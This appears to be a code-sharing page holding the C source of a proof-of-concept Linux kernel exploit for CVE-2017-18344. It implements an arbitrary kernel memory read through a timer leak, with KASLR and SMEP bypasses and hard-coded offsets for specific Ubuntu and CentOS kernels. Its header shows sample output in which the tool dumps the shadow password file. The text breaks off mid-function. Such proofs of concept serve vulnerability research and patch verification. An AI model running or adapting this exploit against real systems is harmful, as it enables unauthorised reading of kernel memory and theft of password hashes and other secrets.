扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 |
// A proof-of-concept exploit for CVE-2017-18344. // Includes KASLR and SMEP bypasses. No SMAP bypass. // No support for 1 GB pages or 5 level page tables. // Tested on Ubuntu xenial 4.4.0-116-generic and 4.13.0-38-generic // and on CentOS 7 3.10.0-862.9.1.el7.x86_64. // // gcc pwn.c -o pwn // // $ ./pwn search 'root:!:' // [.] setting up proc reader // [~] done // [.] checking /proc/cpuinfo // [~] looks good // [.] setting up timer // [~] done // [.] finding leak pointer address // [+] done: 000000022ca45b60 // [.] mapping leak pointer page // [~] done // [.] divide_error: ffffffffad6017b0 // [.] kernel text:ffffffffacc00000 // [.] page_offset_base: ffffffffade48a90 // [.] physmap:ffff8d40c0000000 // [.] task->mm->pgd:ffffffffade0a000 // [.] searching [0000000000000000, 00000000f524d000) for 'root:!:': // [.] now at 0000000000000000 // [.] now at 0000000002000000 // [.] now at 0000000004000000 // ... // [.] now at 000000008c000000 // [.] now at 000000008e000000 // [.] now at 0000000090000000 // [+] found at 0000000090ff3000 // [+] done // // $ ./pwn phys 0000000090ff3000 1000 shadow // [.] setting up proc reader // [~] done // [.] checking /proc/cpuinfo // [~] looks good // [.] setting up timer // [~] done // [.] finding leak pointer address // [+] done: 000000022ca45b60 // [.] mapping leak pointer page // [~] done // [.] divide_error: ffffffffad6017b0 // [.] kernel text:ffffffffacc00000 // [.] page_offset_base: ffffffffade48a90 // [.] physmap:ffff8d40c0000000 // [.] task->mm->pgd:ffffffffade0a000 // [.] dumping physical memory [0000000090ff3000, 0000000090ff4000): // [+] done // // $ cat shadow // root:!:17612:0:99999:7::: // daemon:*:17590:0:99999:7::: // bin:*:17590:0:99999:7::: // ... // saned:*:17590:0:99999:7::: // usbmux:*:17590:0:99999:7::: // user:$1$7lXXXXSv$rvXXXXXXXXXXXXXXXXXhr/:17612:0:99999:7::: // // Andrey Konovalov <andreyknvl@gmail.com> #define _GNU_SOURCE #include <assert.h> #include <ctype.h> #include <fcntl.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/sysinfo.h> #include <sys/syscall.h> #include <sys/types.h> // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define DEBUG 0 // CentOS 7 3.10.0-862.9.1.el7.x86_64 #define KERNEL_START 0xffffffff81000000ul #define O_DIVIDE_ERROR (0xffffffff81723a40ul - KERNEL_START) #define O_INIT_TASK (0xffffffff81c16480ul - KERNEL_START) #define O_INIT_MM (0xffffffff81c914a0ul - KERNEL_START) #define O_PAGE_OFFSET_BASE (0xffffffff81c41440ul - KERNEL_START) #define O_TASK_STRUCT_TASKS 1072 #define O_TASK_STRUCT_MM 1128 #define O_TASK_STRUCT_PID 1188 #define O_MM_STRUCT_MMAP 0 #define O_MM_STRUCT_PGD 88 #define O_VM_AREA_STRUCT_VM_START 0 #define O_VM_AREA_STRUCT_VM_END 8 #define O_VM_AREA_STRUCT_VM_NEXT 16 #define O_VM_AREA_STRUCT_VM_FLAGS 80 #if 0 // Ubuntu xenial 4.4.0-116-generic #define KERNEL_START 0xffffffff81000000ul #define O_DIVIDE_ERROR (0xffffffff81851240ul - KERNEL_START) #define O_INIT_TASK (0xffffffff81e13500ul - KERNEL_START) #define O_INIT_MM (0xffffffff81e73c80ul - KERNEL_START) #define O_PAGE_OFFSET_BASE 0 #define O_TASK_STRUCT_TASKS 848 #define O_TASK_STRUCT_MM 928 #define O_TASK_STRUCT_PID 1096 #define O_MM_STRUCT_MMAP 0 #define O_MM_STRUCT_PGD 64 #define O_VM_AREA_STRUCT_VM_START 0 #define O_VM_AREA_STRUCT_VM_END 8 #define O_VM_AREA_STRUCT_VM_NEXT 16 #define O_VM_AREA_STRUCT_VM_FLAGS 80 #endif #if 0 // Ubuntu xenial 4.13.0-38-generic #define KERNEL_START 0xffffffff81000000ul #define O_DIVIDE_ERROR (0xffffffff81a017b0ul - KERNEL_START) #define O_INIT_TASK (0xffffffff82212480ul - KERNEL_START) #define O_INIT_MM (0xffffffff82302760ul - KERNEL_START) #define O_PAGE_OFFSET_BASE (0xffffffff82248a90ul - KERNEL_START) #define O_TASK_STRUCT_TASKS 2048 #define O_TASK_STRUCT_MM 2128 #define O_TASK_STRUCT_PID 2304 #define O_MM_STRUCT_MMAP 0 #define O_MM_STRUCT_PGD 80 #define O_VM_AREA_STRUCT_VM_START 0 #define O_VM_AREA_STRUCT_VM_END 8 #define O_VM_AREA_STRUCT_VM_NEXT 16 #define O_VM_AREA_STRUCT_VM_FLAGS 80 #endif // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #ifndef SYS_memfd_create #define SYS_memfd_create 319 #endif #ifndef O_PATH #define O_PATH 010000000 #endif // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define PAGE_SHIFT 12 #define PAGE_SIZE (1ul << PAGE_SHIFT) #define PAGE_MASK (~(PAGE_SIZE - 1)) #define HUGE_PAGE_SHIFT 21 #define HUGE_PAGE_SIZE (1ul << HUGE_PAGE_SHIFT) #define HUGE_PAGE_MASK (~(HUGE_PAGE_SIZE - 1)) #define TASK_SIZE (1ul << 47) #define PAGE_OFFSET_BASE 0xffff880000000000ul // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define LOG_INFO 1 #define LOG_DEBUG 2 #define log(level, format, args...) \ do { \ if (level == LOG_INFO) \ printf(format, ## args); \ else \ fprintf(stderr, format, ## args); \ } while(0) #define info(format, args...) log(LOG_INFO, format, ## args) #if (DEBUG >= 1) #define debug1(format, args...) log(LOG_DEBUG, format, ## args) #else #define debug1(format, args...) #endif #if (DEBUG >= 2) #define debug2(format, args...) log(LOG_DEBUG, format, ## args) #else #define debug2(format, args...) #endif #define min(x, y) ((x) < (y) ? (x) : (y)) // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static void print_chunk(int level, unsigned long src_addr, char *buffer, int len, int chunk_size) { int i; assert(len <= chunk_size); log(level, "%016lx: ", src_addr); for (i = 0; i < len; i++) log(level, "%02hx ", (unsigned char)buffer[i]); for (i = len; i < chunk_size; i++) log(level, " "); log(level, ""); for (i = 0; i < len; i++) { if (isalnum(buffer[i])) log(level, "%c", buffer[i]); else log(level, "."); } log(level, "\n"); } static void print_bytes(int level, unsigned long src_addr, char *buffer, int len) { int chunk_size = 16; assert(chunk_size % 2 == 0); int chunk; for (chunk = 0; chunk < len / chunk_size; chunk++) print_chunk(level, src_addr + chunk * chunk_size, &buffer[chunk * chunk_size], chunk_size, chunk_size); int rem = len % chunk_size; if (rem != 0) print_chunk(level, src_addr + len - rem, &buffer[len - rem], rem, chunk_size); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define MIN_KERNEL_BASE 0xffffffff81000000ul #define MAX_KERNEL_BASE 0xffffffffff000000ul #define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB #define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE) #define MMAP_ADDR_START 0x200000000ul #define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN) #define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8) // == 0x4fe00000 #define MAX_MAPPINGS 1024 #define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS) // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static struct proc_reader g_proc_reader; static unsigned long g_leak_ptr_addr = 0; // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define PROC_INITIAL_SIZE 1024 #define PROC_CHUNK_SIZE 1024 struct proc_reader { char *buffer; int buffer_size; int read_size; }; static void proc_init(struct proc_reader* pr) { debug2("proc_init: %016lx\n", pr); pr->buffer = malloc(PROC_INITIAL_SIZE); if (pr->buffer == NULL) { perror("[-] proc_init: malloc()"); exit(EXIT_FAILURE); } pr->buffer_size = PROC_INITIAL_SIZE; pr->read_size = 0; debug2("proc_init = void\n"); } static void proc_ensure_size(struct proc_reader* pr, int size) { if (pr->buffer_size >= size) return; while (pr->buffer_size < size) pr->buffer_size <<= 1; pr->buffer = realloc(pr->buffer, pr->buffer_size); if (pr->buffer == NULL) { perror("[-] proc_ensure_size: realloc()"); exit(EXIT_FAILURE); } } static int proc_read(struct proc_reader* pr, const char *file) { debug2("proc_read: file: %s, pr->buffer_size: %d\n", file, pr->buffer_size); int fd = open(file, O_RDONLY); if (fd == -1) { perror("[-] proc_read: open()"); exit(EXIT_FAILURE); } pr->read_size = 0; while (true) { proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE); int bytes_read = read(fd, &pr->buffer[pr->read_size], PROC_CHUNK_SIZE); if (bytes_read == -1) { perror("[-] read(proc)"); exit(EXIT_FAILURE); } pr->read_size += bytes_read; if (bytes_read < PROC_CHUNK_SIZE) break; } close(fd); debug2("proc_read = %d\n", pr->read_size); return pr->read_size; } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # typedef union k_sigval { int sival_int; void *sival_ptr; } k_sigval_t; #define __ARCH_SIGEV_PREAMBLE_SIZE (sizeof(int) * 2 + sizeof(k_sigval_t)) #define SIGEV_MAX_SIZE 64 #define SIGEV_PAD_SIZE ((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) \ / sizeof(int)) typedef struct k_sigevent { k_sigval_t sigev_value; int sigev_signo; int sigev_notify; union { int _pad[SIGEV_PAD_SIZE]; int _tid; struct { void (*_function)(sigval_t); void *_attribute; } _sigev_thread; } _sigev_un; } k_sigevent_t; static void leak_setup() { k_sigevent_t se; memset(&se, 0, sizeof(se)); se.sigev_signo = SIGRTMIN; se.sigev_notify = OPTIMAL_PTR_OFFSET; timer_t timerid = 0; int rv = syscall(SYS_timer_create, CLOCK_REALTIME, (void *)&se, &timerid); if (rv != 0) { perror("[-] timer_create()"); exit(EXIT_FAILURE); } } static void leak_parse(char *in, int in_len, char **start, char **end) { const char *needle = "notify: "; *start = memmem(in, in_len, needle, strlen(needle)); assert(*start != NULL); *start += strlen(needle); assert(in_len > 0); assert(in[in_len - 1] == '\n'); *end = &in[in_len - 2]; while (*end > in && **end != '\n') (*end)--; assert(*end > in); while (*end > in && **end != '/') (*end)--; assert(*end > in); assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd'); assert(*end >= *start); } static void leak_once(char **start, char **end) { int read_size = proc_read(&g_proc_reader, "/proc/self/timers"); leak_parse(g_proc_reader.buffer, read_size, start, end); } static int leak_once_and_copy(char *out, int out_len) { assert(out_len > 0); char *start, *end; leak_once(&start, &end); int size = min(end - start, out_len); memcpy(out, start, size); if (size == out_len) return size; out[size] = 0; return size + 1; } static void leak_range(unsigned long addr, size_t length, char *out) { size_t total_leaked = 0; while (total_leaked < length) { unsigned long addr_to_leak = addr + total_leaked; *(unsigned long *)g_leak_ptr_addr = addr_to_leak; debug2("leak_range: offset %ld, addr: %lx\n", total_leaked, addr_to_leak); int leaked = leak_once_and_copy(out + total_leaked, length - total_leaked); total_leaked += leaked; } } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static void mmap_fixed(unsigned long addr, size_t size) { void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (rv != (void *)addr) { perror("[-] mmap()"); exit(EXIT_FAILURE); } } static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start, unsigned long end) { int page_size = PAGE_SIZE; assert(fd_size % page_size == 0); assert(start % page_size == 0); assert(end % page_size == 0); assert((end - start) % fd_size == 0); debug1("mmap_fd_over: [%lx, %lx)\n", start, end); unsigned long addr; for (addr = start; addr < end; addr += fd_size) { void *rv = mmap((void *)addr, fd_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, fd, 0); if (rv != (void *)addr) { perror("[-] mmap()"); exit(EXIT_FAILURE); } } debug1("mmap_fd_over = void\n"); } static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start, unsigned long end) { int rv = munmap((void *)start, end - start); if (rv != 0) { perror("[-] munmap()"); exit(EXIT_FAILURE); } mmap_fd_over(fd, fd_size, start, end); } #define MEMFD_CHUNK_SIZE 0x1000 static int create_filled_memfd(const char *name, unsigned long size, unsigned long value) { int i; char buffer[MEMFD_CHUNK_SIZE]; assert(size % MEMFD_CHUNK_SIZE == 0); int fd = syscall(SYS_memfd_create, name, 0); if (fd < 0) { perror("[-] memfd_create()"); exit(EXIT_FAILURE); } for (i = 0; i < sizeof(buffer) / sizeof(value); i++) *(unsigned long *)&buffer[i * sizeof(value)] = value; for (i = 0; i < size / sizeof(buffer); i++) { int bytes_written = write(fd, &buffer[0], sizeof(buffer)); if (bytes_written != sizeof(buffer)) { perror("[-] write(memfd)"); exit(EXIT_FAILURE); } } return fd; } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static const char *evil = "evil"; static const char *good = "good"; static bool bisect_probe() { char *start, *end; leak_once(&start, &end); return *start == 'g'; } static unsigned long bisect_via_memfd(unsigned long fd_size, unsigned long start, unsigned long end) { assert((end - start) % fd_size == 0); int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil); int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good); unsigned long left = 0; unsigned long right = (end - start) / fd_size; while (right - left > 1) { unsigned long middle = left + (right - left) / 2; remap_fd_over(fd_evil, fd_size, start + left * fd_size, start + middle * fd_size); remap_fd_over(fd_good, fd_size, start + middle * fd_size, start + right * fd_size); bool probe = bisect_probe(); if (probe) left = middle; else right = middle; } int rv = munmap((void *)start, end - start); if (rv != 0) { perror("[-] munmap()"); exit(EXIT_FAILURE); } close(fd_evil); close(fd_good); return start + left * fd_size; } static unsigned long bisect_via_assign(unsigned long start, unsigned long end) { int word_size = sizeof(unsigned long); assert((end - start) % word_size == 0); assert((end - start) % PAGE_SIZE == 0); mmap_fixed(start, end - start); unsigned long left = 0; unsigned long right = (end - start) / word_size; while (right - left > 1) { unsigned long middle = left + (right - left) / 2; unsigned long a; for (a = left; a < middle; a++) *(unsigned long *)(start + a * word_size) = (unsigned long)evil; for (a = middle; a < right; a++) *(unsigned long *)(start + a * word_size) = (unsigned long)good; bool probe = bisect_probe(); if (probe) left = middle; else right = middle; } int rv = munmap((void *)start, end - start); if (rv != 0) { perror("[-] munmap()"); exit(EXIT_FAILURE); } return start + left * word_size; } static unsigned long bisect_leak_ptr_addr() { unsigned long addr = bisect_via_memfd( MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END); debug1("%lx %lx\n", addr, addr + MEMFD_SIZE); addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE); debug1("%lx %lx\n", addr, addr + PAGE_SIZE); addr = bisect_via_assign(addr, addr + PAGE_SIZE); debug1("%lx\n", addr); return addr; } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define CPUINFO_SMEP 1 #define CPUINFO_SMAP 2 #define CPUINFO_KAISER 4 #define CPUINFO_PTI 8 static int cpuinfo_scan() { int length = proc_read(&g_proc_reader, "/proc/cpuinfo"); char *buffer = &g_proc_reader.buffer[0]; int rv = 0; char* found = memmem(buffer, length, "smep", 4); if (found != NULL) rv |= CPUINFO_SMEP; found = memmem(buffer, length, "smap", 4); if (found != NULL) rv |= CPUINFO_SMAP; found = memmem(buffer, length, "kaiser", 4); if (found != NULL) rv |= CPUINFO_KAISER; found = memmem(buffer, length, " pti", 4); if (found != NULL) rv |= CPUINFO_PTI; return rv; } static void cpuinfo_check() { int rv = cpuinfo_scan(); if (rv & CPUINFO_SMAP) { info("[-] SMAP detected, no bypass available, aborting\n"); exit(EXIT_FAILURE); } } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static void arbitrary_read_init() { info("[.] setting up proc reader\n"); proc_init(&g_proc_reader); info("[~] done\n"); info("[.] checking /proc/cpuinfo\n"); cpuinfo_check(); info("[~] looks good\n"); info("[.] setting up timer\n"); leak_setup(); info("[~] done\n"); info("[.] finding leak pointer address\n"); g_leak_ptr_addr = bisect_leak_ptr_addr(); info("[+] done: %016lx\n", g_leak_ptr_addr); info("[.] mapping leak pointer page\n"); mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE); info("[~] done\n"); } static void read_range(unsigned long addr, size_t length, char *buffer) { leak_range(addr, length, buffer); } static uint64_t read_8(unsigned long addr) { uint64_t result; read_range(addr, sizeof(result), (char *)&result); return result; } static uint32_t read_4(unsigned long addr) { uint32_t result; read_range(addr, sizeof(result), (char *)&result); return result; } static uint64_t read_field_8(unsigned long addr, int offset) { return read_8(addr + offset); } static uint64_t read_field_4(unsigned long addr, int offset) { return read_4(addr + offset); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # struct idt_register { uint16_t length; uint64_t base; } __attribute__((packed)); struct idt_gate { uint16_t offset_1; // bits 0..15 uint32_t shit_1; uint16_t offset_2; // bits 16..31 uint32_t offset_3; // bits 32..63 uint32_t shit_2; } __attribute__((packed)); static uint64_t idt_gate_addr(struct idt_gate *gate) { uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) + ((uint64_t)gate->offset_3 << 32); return addr; } static void get_idt(struct idt_register *idtr) { asm ( "sidt %0" : : "m"(*idtr) ); debug1("get_idt_base: base: %016lx, length: %d\n", idtr->base, idtr->length); } static void print_idt(int entries) { char buffer[4096]; struct idt_register idtr; int i; get_idt(&idtr); assert(idtr.length <= sizeof(buffer)); read_range(idtr.base, idtr.length, &buffer[0]); info("base: %016lx, length: %d\n", idtr.base, (int)idtr.length); entries = min(entries, idtr.length / sizeof(struct idt_gate)); for (i = 0; i < entries; i++) { struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i; uint64_t addr = idt_gate_addr(gate); info("gate #%03d: %016lx\n", i, addr); } } static uint64_t read_idt_gate(int i) { char buffer[4096]; struct idt_register idtr; get_idt(&idtr); assert(idtr.length <= sizeof(buffer)); assert(i <= idtr.length / sizeof(struct idt_gate)); read_range(idtr.base, idtr.length, &buffer[0]); struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i; uint64_t addr = idt_gate_addr(gate); return addr; } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define PTRS_PER_PGD 512 #define PTRS_PER_PUD 512 #define PTRS_PER_PMD 512 #define PTRS_PER_PTE 512 #define PGD_SHIFT 39 #define PUD_SHIFT 30 #define PMD_SHIFT 21 #define pgd_index(addr) (((addr) >> PGD_SHIFT) & (PTRS_PER_PGD - 1)) #define pud_index(addr) (((addr) >> PUD_SHIFT) & (PTRS_PER_PUD - 1)) #define pmd_index(addr) (((addr) >> PMD_SHIFT) & (PTRS_PER_PMD - 1)) #define pte_index(addr) (((addr) >> PAGE_SHIFT) & (PTRS_PER_PTE - 1)) #define _PAGE_BIT_PRESENT 0 #define _PAGE_BIT_ACCESSED 5 #define _PAGE_BIT_DIRTY 6 #define _PAGE_BIT_PSE 7 #define _PAGE_BIT_GLOBAL 8 #define _PAGE_BIT_PROTNONE _PAGE_BIT_GLOBAL #define _PAGE_PRESENT (1ul << _PAGE_BIT_PRESENT) #define _PAGE_ACCESSED (1ul << _PAGE_BIT_ACCESSED) #define _PAGE_DIRTY (1ul << _PAGE_BIT_DIRTY) #define _PAGE_PSE (1ul << _PAGE_BIT_PSE) #define _PAGE_PROTNONE (1ul << _PAGE_BIT_PROTNONE) #define _PAGE_KNL_ERRATUM_MASK (_PAGE_DIRTY | _PAGE_ACCESSED) #define pgd_none(value) ((value) == 0) #define pud_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0) #define pmd_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0) #define pte_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0) #define __PHYSICAL_MASK_SHIFT 52 #define __PHYSICAL_MASK ((1ul << __PHYSICAL_MASK_SHIFT) - 1) #define PHYSICAL_PAGE_MASK (PAGE_MASK & __PHYSICAL_MASK) #define PTE_PFN_MASK (PHYSICAL_PAGE_MASK) #define PTE_FLAGS_MASK (~PTE_PFN_MASK) #define pgd_flags(value) (value & PTE_FLAGS_MASK) #define pud_flags(value) (value & PTE_FLAGS_MASK) #define pmd_flags(value) (value & PTE_FLAGS_MASK) #define pte_flags(value) (value & PTE_FLAGS_MASK) #define pgd_present(value) (pgd_flags(value) & _PAGE_PRESENT) #define pud_present(value) (pud_flags(value) & _PAGE_PRESENT) #define pmd_present(value) (pmd_flags(value) & (_PAGE_PRESENT | \ _PAGE_PROTNONE | _PAGE_PSE)) #define pte_present(value) (pte_flags(value) & (_PAGE_PRESENT | \ _PAGE_PROTNONE)) struct pte_entry { unsigned long addr; unsigned long entries[PTRS_PER_PTE]; }; struct pmd_entry { unsigned long addr; struct { bool huge; union { struct pte_entry *pte; unsigned long phys; }; } entries[PTRS_PER_PMD]; }; struct pud_entry { unsigned long addr; struct pmd_entry *entries[PTRS_PER_PUD]; }; struct pgd_entry { unsigned long addr; struct pud_entry *entries[PTRS_PER_PGD]; }; struct ptsc { unsigned long physmap; struct pgd_entry entry; }; static struct pte_entry *ptsc_alloc_pte_entry(unsigned long addr) { struct pte_entry *entry = malloc(sizeof(*entry)); if (!entry) { perror("[-] malloc()"); 